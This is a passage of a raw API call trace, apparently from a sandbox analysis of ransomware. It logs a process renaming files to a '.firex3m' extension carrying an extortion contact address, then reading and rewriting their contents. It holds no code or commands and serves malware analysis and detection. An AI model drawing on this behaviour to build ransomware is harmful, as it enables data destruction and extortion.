ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5400 [0227.223] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0227.224] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0227.224] GetProcessHeap () returned 0x630000 [0227.224] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3c90 [0227.224] GetProcessHeap () returned 0x630000 [0227.224] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3ad8 [0227.224] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.224] ReadFile (in: hFile=0x4bc, lpBuffer=0x6f3c90, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3c90*, lpNumberOfBytesRead=0x497ff0c*=0x180, lpOverlapped=0x0) returned 1 [0227.226] GetProcessHeap () returned 0x630000 [0227.226] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176368 [0227.226] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.226] WriteFile (in: hFile=0x4bc, lpBuffer=0x6f3ad8*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3ad8*, lpNumberOfBytesWritten=0x497ff0c*=0x180, lpOverlapped=0x0) returned 1 [0227.227] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.227] WriteFile (in: hFile=0x4bc, lpBuffer=0x6f3c57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3c57*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0227.227] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.227] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0227.227] CloseHandle (hObject=0x4bc) returned 1 [0227.227] GetProcessHeap () returned 0x630000 [0227.227] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3ad8 | out: hHeap=0x630000) returned 1 [0227.227] GetProcessHeap () returned 0x630000 [0227.227] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3c90 | out: hHeap=0x630000) returned 1 [0227.227] GetProcessHeap () returned 0x630000 [0227.227] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176368 | out: hHeap=0x630000) returned 1 [0227.227] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.227] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d61d6f3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x497fd20, dwReserved1=0x6f3c90, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5400 [0227.228] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0227.228] Sleep (dwMilliseconds=0x1) [0229.214] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x497ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastbeginupgrade.xml") returned 1 [0229.214] GetProcessHeap () returned 0x630000 [0229.214] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5104) returned 0x6fe3bb0 [0229.214] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0229.215] CloseHandle (hObject=0x694) returned 1 [0229.215] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0229.215] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0229.217] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0229.217] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4f40 [0229.217] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0229.217] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0229.217] GetProcessHeap () returned 0x630000 [0229.217] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x717e148 [0229.217] GetProcessHeap () returned 0x630000 [0229.217] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x6405b0 [0229.217] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.217] ReadFile (in: hFile=0x694, lpBuffer=0x717e148, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e148*, lpNumberOfBytesRead=0x497ff0c*=0x220, lpOverlapped=0x0) returned 1 [0229.221] GetProcessHeap () returned 0x630000 [0229.221] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71773d0 [0229.221] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.221] WriteFile (in: hFile=0x694, lpBuffer=0x6405b0*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6405b0*, lpNumberOfBytesWritten=0x497ff0c*=0x220, lpOverlapped=0x0) returned 1 [0229.221] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.221] WriteFile (in: hFile=0x694, lpBuffer=0x6407cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6407cf*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0229.221] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.221] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0229.221] CloseHandle (hObject=0x694) returned 1 [0229.221] GetProcessHeap () returned 0x630000 [0229.221] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6405b0 | out: hHeap=0x630000) returned 1 [0229.221] GetProcessHeap () returned 0x630000 [0229.221] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717e148 | out: hHeap=0x630000) returned 1 [0229.221] GetProcessHeap () returned 0x630000 [0229.221] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71773d0 | out: hHeap=0x630000) returned 1 [0229.221] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0229.222] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4e933410, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0xbb87496, dwReserved1=0x717e140, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5000 [0229.222] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0229.222] Sleep (dwMilliseconds=0x1) [0229.230] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\index.html", len=0x6f | out: pbstr=0x497ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\index.html") returned 1 [0229.230] GetProcessHeap () returned 0x630000 [0229.230] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5100) returned 0x6fe3bb0 [0229.230] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0229.230] CloseHandle (hObject=0x694) returned 1 [0229.230] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0229.231] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0229.231] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0229.231] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9e86, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5480 [0229.232] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0229.232] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-br\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0229.232] GetProcessHeap () returned 0x630000 [0229.232] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9ea1) returned 0x733c440 [0229.232] GetProcessHeap () returned 0x630000 [0229.232] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9ea1) returned 0x73462f0 [0229.232] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.232] ReadFile (in: hFile=0x694, lpBuffer=0x733c440, nNumberOfBytesToRead=0x9e80, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x733c440*, lpNumberOfBytesRead=0x497ff0c*=0x9e80, lpOverlapped=0x0) returned 1 [0233.188] GetProcessHeap () returned 0x630000 [0233.188] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0233.189] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.189] WriteFile (in: hFile=0x694, lpBuffer=0x73462f0*, nNumberOfBytesToWrite=0x9e80, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73462f0*, lpNumberOfBytesWritten=0x497ff0c*=0x9e80, lpOverlapped=0x0) returned 1 [0233.789] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.789] WriteFile (in: hFile=0x694, lpBuffer=0x735016f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x735016f*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.938] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.938] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.938] CloseHandle (hObject=0x694) returned 1 [0233.938] GetProcessHeap () returned 0x630000 [0233.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73462f0 | out: hHeap=0x630000) returned 1 [0233.938] GetProcessHeap () returned 0x630000 [0233.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x733c440 | out: hHeap=0x630000) returned 1 [0233.938] GetProcessHeap () returned 0x630000 [0233.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0233.938] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0233.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x51639017, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9eaa, dwReserved0=0xbb87496, dwReserved1=0x733c438, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4f40 [0233.938] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0233.938] Sleep (dwMilliseconds=0x1) [0235.623] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\index.html", len=0x6f | out: pbstr=0x497ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\index.html") returned 1 [0235.623] GetProcessHeap () returned 0x630000 [0235.623] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fdc) returned 0x6fe3bb0 [0235.623] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0235.654] CloseHandle (hObject=0x5ec) returned 1 [0235.655] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.655] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.603] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.604] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5040 [0236.604] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0236.604] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.604] GetProcessHeap () returned 0x630000 [0236.604] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x73282e0 [0236.604] GetProcessHeap () returned 0x630000 [0236.604] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x7331370 [0236.604] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.604] ReadFile (in: hFile=0x4d4, lpBuffer=0x73282e0, nNumberOfBytesToRead=0x9060, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73282e0*, lpNumberOfBytesRead=0x497ff0c*=0x9060, lpOverlapped=0x0) returned 1 [0242.453] GetProcessHeap () returned 0x630000 [0242.453] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745b928 [0242.453] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.491] WriteFile (in: hFile=0x4d4, lpBuffer=0x7331370*, nNumberOfBytesToWrite=0x9060, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7331370*, lpNumberOfBytesWritten=0x497ff0c*=0x9060, lpOverlapped=0x0) returned 1 [0242.491] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.491] WriteFile (in: hFile=0x4d4, lpBuffer=0x733a3cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x733a3cf*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0242.491] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.491] WriteFile (in: hFile=0x4d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0242.491] CloseHandle (hObject=0x4d4) returned 1 [0242.491] GetProcessHeap () returned 0x630000 [0242.491] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7331370 | out: hHeap=0x630000) returned 1 [0242.491] GetProcessHeap () returned 0x630000 [0242.492] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73282e0 | out: hHeap=0x630000) returned 1 [0242.492] GetProcessHeap () returned 0x630000 [0242.492] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b928 | out: hHeap=0x630000) returned 1 [0243.173] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.173] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: 